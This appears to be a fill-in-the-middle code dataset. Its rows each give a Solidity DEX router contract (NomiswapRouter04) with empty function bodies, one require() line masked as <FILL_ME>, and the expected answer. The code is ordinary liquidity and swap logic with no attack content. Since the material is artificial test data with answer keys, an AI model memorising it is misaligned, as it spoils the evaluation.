uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| amount0Desired-result[0]+result[2]>=amount0Min,'NomiswapRouter: INSUFFICIENT_0_AMOUNT' | 261,216 | amount0Desired-result[0]+result[2]>=amount0Min |
'NomiswapRouter: INSUFFICIENT_1_AMOUNT' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
// create the pair if it doesn't exist yet
if (INomiswapFactory(_factory).getPair(token0, token1) == address(0)) {
INomiswapFactory(_factory).createPair(token0, token1);
}
uint[4] memory result = balanceLiquidity(_factory, token0, token1, amount0Desired, amount1Desired);
require(amount0Desired - result[0] + result[2] >= amount0Min, 'NomiswapRouter: INSUFFICIENT_0_AMOUNT');
require(<FILL_ME>)
return result;
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| amount1Desired-result[1]+result[3]>=amount1Min,'NomiswapRouter: INSUFFICIENT_1_AMOUNT' | 261,216 | amount1Desired-result[1]+result[3]>=amount1Min |
'NomiswapRouter: FAILED_TO_TRANSFER' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
factory,
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = _getPair(token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
require(<FILL_ME>)
liquidity = INomiswapPair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| IWETH(WETH).transfer(pair,amountETH),'NomiswapRouter: FAILED_TO_TRANSFER' | 261,216 | IWETH(WETH).transfer(pair,amountETH) |
'NomiswapRouter: FAILED_TO_TRANSFER' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
IWETH(WETH).deposit{value: msg.value}();
require(<FILL_ME>)
(address token0, ) = NomiswapLibrary.sortTokens(token, WETH);
if (token == token0) {
liquidity = addLiquidityImbalancedSorted(token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin, to, deadline);
} else {
liquidity = addLiquidityImbalancedSorted(WETH, token, msg.value, amountTokenDesired, amountETHMin, amountTokenMin, to, deadline);
}
amountToken = amountTokenDesired;
amountETH = msg.value;
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| IWETH(WETH).transfer(address(this),msg.value),'NomiswapRouter: FAILED_TO_TRANSFER' | 261,216 | IWETH(WETH).transfer(address(this),msg.value) |
'NomiswapRouter: FAILED_TO_TRANSFER' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
address pair = _getPair(tokenA, tokenB);
require(<FILL_ME>) // send liquidity to pair
(uint amount0, uint amount1) = INomiswapPair(pair).burn(to);
(address token0,) = NomiswapLibrary.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'NomiswapRouter: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'NomiswapRouter: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| INomiswapPair(pair).transferFrom(msg.sender,pair,liquidity),'NomiswapRouter: FAILED_TO_TRANSFER' | 261,216 | INomiswapPair(pair).transferFrom(msg.sender,pair,liquidity) |
'NomiswapRouter: FAILED_TO_TRANSFER' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'NomiswapRouter: INVALID_PATH');
amounts = NomiswapLibrary.getAmountsOut(factory, stableSwapFactory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'NomiswapRouter: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
require(<FILL_ME>)
_swap(amounts, path, to);
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
